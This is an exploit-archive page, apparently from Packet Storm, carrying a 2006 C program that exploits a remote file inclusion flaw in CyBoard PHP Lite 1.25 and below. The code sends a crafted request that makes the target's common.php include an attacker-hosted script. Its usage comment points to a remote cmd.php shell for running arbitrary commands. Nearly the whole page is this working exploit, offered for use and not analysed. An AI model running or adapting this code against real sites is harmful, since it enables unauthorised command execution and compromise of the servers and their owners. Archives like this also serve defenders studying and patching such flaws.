what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

CyBoard125.c

CyBoard125.c
Posted Jun 12, 2006
Authored by Federico Fazzi

CyBoard PHP Lite versions 1.25 and below remote file inclusion exploit.

tags | exploit, remote, php, file inclusion
SHA-256 | 936f47c9c9c2fc16f3b680f6ce727ead3ade1986f9843d500bce894830be3213

CyBoard125.c

Change Mirror Download
/* CyBoard PHP Lite <= 1.25 (common.php) Remote File Include      */
/* Bug found by SpC-x. */
/* */
/* $ gcc -o f_cbl f_cbl-1.25.c */
/* $ ./f_cbl <remote_addr> <remote_path> <cracker_cmd> */
/* 192.168.0.1 /[cyboard_path]/
http://example/cmd.php?&cmd=[command] */
/* */
/* Federico Fazzi <federico@autistici.org> */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <netdb.h>

#define PORT (80)

int main(int argc, char *argv[]) {

int sock;
char *request;
char response[256];
struct sockaddr_in saddr;
struct hostent *saddrhost;

if ( argc < 3 ) {
printf("%s <remote_addr> <remote_path> <cracker_cmd>\n", argv[0]);
exit(-1);
}

request = (char *) malloc(1024);
// copy into the memory the string GET[..]
snprintf(request, 256, "GET
%sinclude/common.php?script_path=%s\r\n", argv[2], argv[3]);

// init the listener
if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
perror("Socket");
exit(-1);
}
else {
// init and set all struct types
bzero((char *)&saddr, sizeof(saddr));
saddrhost = gethostbyname(argv[1]);
bcopy(saddrhost->h_addr,&saddr.sin_addr,saddrhost->h_length);
saddr.sin_family = AF_INET;
saddr.sin_port = htons(PORT);

// get connection with the webserv
if (connect(sock, (struct sockaddr*)&saddr, sizeof(saddr)) == -1) {
perror("Socket");
}
// send string to the webserv
send(sock, request, strlen(request)+1, 0);
// get the answer data from webserv
while (recv(sock, response, sizeof(response), 0)) {
puts(response);
}
}
free(request);
close(sock);
return 0;
}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close